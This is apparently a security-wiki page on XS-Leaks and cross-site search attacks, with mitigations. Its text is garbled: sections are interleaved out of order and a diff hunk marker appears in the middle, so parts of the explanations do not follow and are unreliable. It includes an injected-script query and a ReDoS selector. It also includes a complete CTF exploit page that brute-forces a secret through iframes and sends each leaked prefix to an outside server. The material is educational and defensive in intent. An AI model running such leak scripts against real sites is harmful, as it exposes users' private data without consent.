If the first URL was **successfully loaded**, then, when **changing** the **hash** part of the URL the **onload** event **won't be triggered** again. But **if** the page had some kind of **error** when **loading**, then, the **onload** event will be **triggered again**.
Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed.
If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time.
### Iframe Chrome XSS Auditor
{% hint style="danger" %}
This won't probably work as Chrome XSS Auditor is no longer used
{% hint style="warning" %}
In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it.
{% endhint %}
Imagine the **same situation as in the Timing attack method** and you also know that the **admin** is using a **Chrome browser** (for example, Chrome-headless) **with Chrome XSS Auditor.**
### Fetch Timing
Then, you can use **iframes** to make the victim **search** for the page containing "_**flagX**_" (beeing X **any** possible **character**)inside a loop, and you also add to the URL inside the iframes a **fake parameter** that **contains javascript code that will only appear when a valid content is retrived**.
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
For example, if when you **search for** the **content \_"my file"**\_ the web server responds with a page that **includes** this **javascript** code:
### Cross-Window Timing
```
<script>console.log("you found someting");</script>
```
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request using `window.open`. Other clocks could be used.
If you send a query like:
```
www.victim.com/search?q=my+file&fake_xss=<script>console.log("you+found+something");<script>
```
The **Chrome XSS Auditor will block** the page and an **error** will appear.
Then, you can use Chrome XSS Auditor to **launch an error** when a **valid response is sent** from the victim server. Then, with the **Iframe** trick you can **detect** when you have find a **file** that **contains** "_**flag**_" **and the next valid character**.
For more information: [https://www.youtube.com/watch?v=HcrQy0C-hEA](https://www.youtube.com/watch?v=HcrQy0C-hEA)
## Navigations
Detecting if a **cross-site page triggered a navigation** (or didn’t) can leak the status of the user in the page.\
For more info: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
### Cross-Origin Redirects <a href="#cross-origin-redirects" id="cross-origin-redirects"></a>
An attacker could **inject a CSP** using meta tags using the `connect-src` which triggers a `Violation` event every time a **`fetch` follows an URL not set in the CSP directive**. This allows an attacker to detect if a redirect to another origin occurred.\
For more info: [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
## Cache Probing
Because under certain (generic) conditions **resources are cached** by the browser, it would be possible to know for example if a **user has accessed a page** by checking if some **resource** of that **page** has been **cached**.\
For more info: [https://xsleaks.dev/docs/attacks/cache-probing/](https://xsleaks.dev/docs/attacks/cache-probing/)
### Timing
You could use a [**timing technique**](xs-search.md#time-attack) to check if the resource was cached.
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if it's **triggered**, it's because it was **accessed from the cache.**\
****Note that if the origin isn't reflected but a wildcard is used (`Access-Control-Allow-Origin: *`) this won't work.\
****For more info: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) **** could be combined with _**fetch**_ and _**setTimeout**_ to both detect whether the **resource is cached** and to evict a specific resource from the browser cache. A nice feature of this technique is that the probing occurs without caching new content in the process.\
For more info: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
### Performance API
Using the [Performance API](xs-search.md#performance-api) it's possible to check if a resource is cached.\
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
If a site `example.com` includes a resource from `*.example.com/resource` then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level _eTLD+1_ and frame _eTLD+1_. [3](https://xsleaks.dev/docs/attacks/navigations/#fn:3)
Before accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
For more info: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
## Element Leaks
### Abusing CORB <a href="#abusing-corb" id="abusing-corb"></a>
[CORB](https://xsleaks.dev/docs/attacks/browser-features/corb/) is a feature of Chrome that makes responses empty if the wrong content type is used. This means that if the type is wrong it’s not cached, so it's possible to infer the type of the media.\
For more info: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-corb](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-corb)
### PDF <a href="#pdf" id="pdf"></a>
There are [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) that allow some control over the content such as `zoom`, `view`, `page`, `toolbar`.\
For chrome, a PDF can be detected with [frame counting](https://xsleaks.dev/docs/attacks/frame-counting/) because an `embed` is used internally.\
For more info: [https://xsleaks.dev/docs/attacks/element-leaks/#pdf](https://xsleaks.dev/docs/attacks/element-leaks/#pdf)
### Script Tag
When a cross-origin script is included on a page it’s not directly possible to read its contents. However, if a script uses any built-in functions, it’s possible to overwrite them and read their arguments which might leak valuable information.\
For more info: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Without Javascript <a href="#when-javascript-cant-be-used" id="when-javascript-cant-be-used"></a>
If JavaScript is disabled it’s still possible to leak some information about cross-origin resources. For example, an `<object>` can be used to detect **whether a resource responds with **_**Error Code**_. What happens is that if a resource `//example.org/resource` returns an error in `<object data=//example.org/resource>fallback</object>` then `fallback` will be rendered. It’s possible to inject another `<object>` inside that will leak the information to an outside server, or detect it with CSS.\
For more info: [https://xsleaks.dev/docs/attacks/element-leaks/#when-javascript-cant-be-used](https://xsleaks.dev/docs/attacks/element-leaks/#when-javascript-cant-be-used)
## postMessage Broadcasts
Applications often use [postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) to share information with other origins. Listening to this messages one cloud find sensitive info (potentially if the the `targetOrigin` param is not used).\
Also, the fact of receiving some message can be used as an oracle (you only receive this kind of message if you are logged in).\
For more info: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
## With HTML Injection
## With HTML or Re Injection
Here you can find techniques to exfiltrate information from a cross-origin HTML **injecting HTML content**. These techniques are interesting in cases where for any reason you can **inject HTML but you cannot inject JS code**.
@ -670,83 +680,56 @@ What this text will do is to make the bot access any text in the page that conta
Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}
### CSS ReDoS
If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, this is because if the selector `main[id='site-main']` doesn't match it doesn't need to check the rest of the **selectors**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection
{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}
##
## Defenses
In this section you can find part of the mitigations recommended in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) however, there are more mitigations in each section of the wiki [https://xsleaks.dev/](https://xsleaks.dev/). Take a look there for more information about how to protect against these techniques.
### Inclusion Method Mitigations
## Custom Detection
* **HTML elements**. It can use the **CORP header to control if pages can embed a resource**. CORP can either be set to same-origin or same-site and blocks any cross-origin respectively cross-site requests to that resource. On the **client site**, Chromium-based browsers use the **CORB** algorithm to decide whether cross-origin resource requests should be allowed or denied.
* **Frames**. The main defense to **prevent iframe** elements from loading HTML resources is the usage of **X-Frame-Options**. Alternatively, the **CSP directive frame-ancestors** can achieve a similar result. If the embedding is denied, the inclusion method cannot detect a difference in the responses.&#x20;
* **Pop-ups**. For restricting the access to `window.opener`, the **COOP HTTP response header** defines three different values: unsafe-none (default), same-origin-allow-popups, and same-origin. These values can be used to **isolate browsing tabs and pop-ups** and thus, mitigates leak techniques based on pop-ups.&#x20;
* **JavaScript Requests**. Cross-origin JavaScript requests are often used in XS-Leak attacks, because an attacker has fine-grained control over the issued request. However, since these request are not CORS enabled they fall under the same restrictions as requests send by HTML elements, like scripts or images. Thus the impact of this leak technique can also be **mitigated by CORP and CORB**.
In the **fbcft2019** the **challenge**: **secret note keeper** was resolved exploiting a XS-Search.
More generic methods:
You could make the **administrator** (a headlessChrome) **visit any page** and there was a **CSRF** vulnerable page that was able to **search files by content**. You also **knew** that the **flag starts** by _**fb{**_ and only the admin had access to it.
* **Fetch Metadata**. These request headers allow server owners to understand better how the user’s browser caused a specific request. In Chrome, Sec-Fetch-\* headers are automatically added to each request and provide metadata about the request’s provenance. For example, Sec-Fetch-Dest: image was triggered from an image element. Web applications can then choose to block requests based on that information.
* **Same-Site Cookies**. The Same-Site cookie flag allows websites to declare **whether a cookie should be restricted to same-site or firstparty context**. All major browsers support Same-Site cookies. In GC, cookies without the attribute are now Lax by default. For XS-Leaks, **Same-Site cookies drastically limit the leak attack possibilities**. On the other hand, leak techniques that rely on **`window.open` still work with `SameSite=Lax`**. Websites that use **other authentication** methods, such as client-side certificates and HTTP authentication, **remain vulnerable**.
* **Cross-Origin Identifier Unlinkability (COIU)**. COIU, also known as First-Party Isolation (FPI), is an optional security feature that users can enable in FF’s expert settings (about:config) and was initially introduced in Tor Browser. In an abstract view, it is an extended same-site context. It **binds multiple resources** (e.g., Cookies, Cache, Client-side storages) **to the first-party** instead of sharing them among all visited websites. If enabled, COIU drastically decreases the applicability of XS-Leaks, since only methods using pop-ups are still possible to fit the policy’s first-party requirement.
* **Tracking Protections**. Apple implemented a privacy mechanism called **Intelligent Tracking Prevention (ITP)** in SA that aims to combat cross-site tracking by limiting the capabilities of cookies and other web APIs. In newer versions of SA, ITP blocks all third-party cookies by default without any exceptions \[74]. This blocking prevents all leaks that are not based on pop-ups. FF took a similar approach with Enhanced Tracking Prevention (ETP), but they only block specific third-party cookies belonging to tracking providers. In the context of XS-Leaks, ETP only mitigates leak techniques that target these tracking domains.
* **Browser Extensions**. Security aware users can use **browser extensions to prevent certain inclusion methods**.
It was also important to notice that when you made a **search**, the results of the seach **appeared inside** an **iframe** (if something was found). And **none iframe appeared** if **anything** was found.
### Leak Technique Mitigations
So, you could make the admin visit your exploit that will be a **loop of every possible charater** inside _fb{X_ inside an iframe. And using:
```
contentWindow.frames.length != 0
```
You could **check** how **many iframes** where created **inside your iframe**, and **if an**y, then the **character** would be **correct** and you could start extracting the next one.
This is a code example of this from: [https://sectt.github.io/writeups/FBCTF19/secret\_note\_keeper/README](https://sectt.github.io/writeups/FBCTF19/secret\_note\_keeper/README)
```
<!DOCTYPE html>
<html>
<head>
<title>fbctf secret note keeper</title>
</head>
<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');
function search(leak, charCounter) {
var curChar = chars[charCounter];
//Chek if the character is valid
x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
document.body.appendChild(x);
console.log("leak = " + leak + curChar);
//When the page inside the iframe is loaded
x.onload = () => {
//Check the number of iframes inside
if (x.contentWindow.frames.length != 0) {
// If 1 or more, then, the character was valid
fetch('http://myserver/leak?' + escape(leak), {
method: "POST",
mode: "no-cors",
credentials: "include"
});
leak += curChar
}
search(leak, (charCounter + 1) % chars.length);
}
}
function exploit() {
search("fb{", 0);
}
exploit();
</script>
</html>
```
* **Event Handler**. The **most effective mitigation** on this leak technique would be to **deny them all**, but this would break the majority of web applications on the Internet. We therefore propose to **reduce the number of the necessary information that can be gathered within events**. For example, the CSP violation event should not contain the redirection target URL in the blockedURI field. This behavior is implemented in FF and in newer versions of GC – only SA remains vulnerable.&#x20;
* **Error Messages**. To mitigate XS-Leaks based on the leak technique error messages, there are two major requirements. First, **error messages must not contain detailed information**, similarly to event handler messages. Second, browsers must **minimize error message occurrences**. XS-Leaks such as SRI Error, ContentDocument XFO, or Fetch Redirect detect whether an error message is thrown or not.
* **Global Limits**. Fixing leak techniques that abuse global limits are relatively complex because they rely on physical restrictions. The general recommendation thereby is to **restrict global limits on a small per-site basis**. If the global limit is 1, like for the Payment API, the attacker can silently attempt to activate the WebPayment UI at any time, which only succeeds if the UI is not being used concurrently by any other tab. We recommend to only access to the Payment API when a trustworthy event was used. By this means, the global limit is set to zero unless the user provides consent like a left mouse click on a dialog window, which sets the global limit to one.&#x20;
* **Global State**. Any **properties of a browser’s global state should not be accessible**. For example, FF is the only browser that updates the global state history when a redirect occurs, which results in reading history.length. Browsers should create a new history property when a redirection occurs instead of storing it globally. Other examples are shared resources, such as caches. Cache leaks abuse the shared cache used for all open websites in a browser. To completely mitigate cache leak techniques, the HTTP cache must be partitioned on a per-site base, as implemented by SA, GC and FF. Note that in SA iframes are not effected by cache partitioning.&#x20;
* **Performance API**. We proved the Performance API to be an excellent leak technique. In many XS-Leaks, we could detect the difference whether a cross-origin request’s response has or has not a performance entry. As a unification, we recommend ensuring that all request must create such an entry and only the correct subset of timing information is recorded for cross-origin requests.
## References
* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)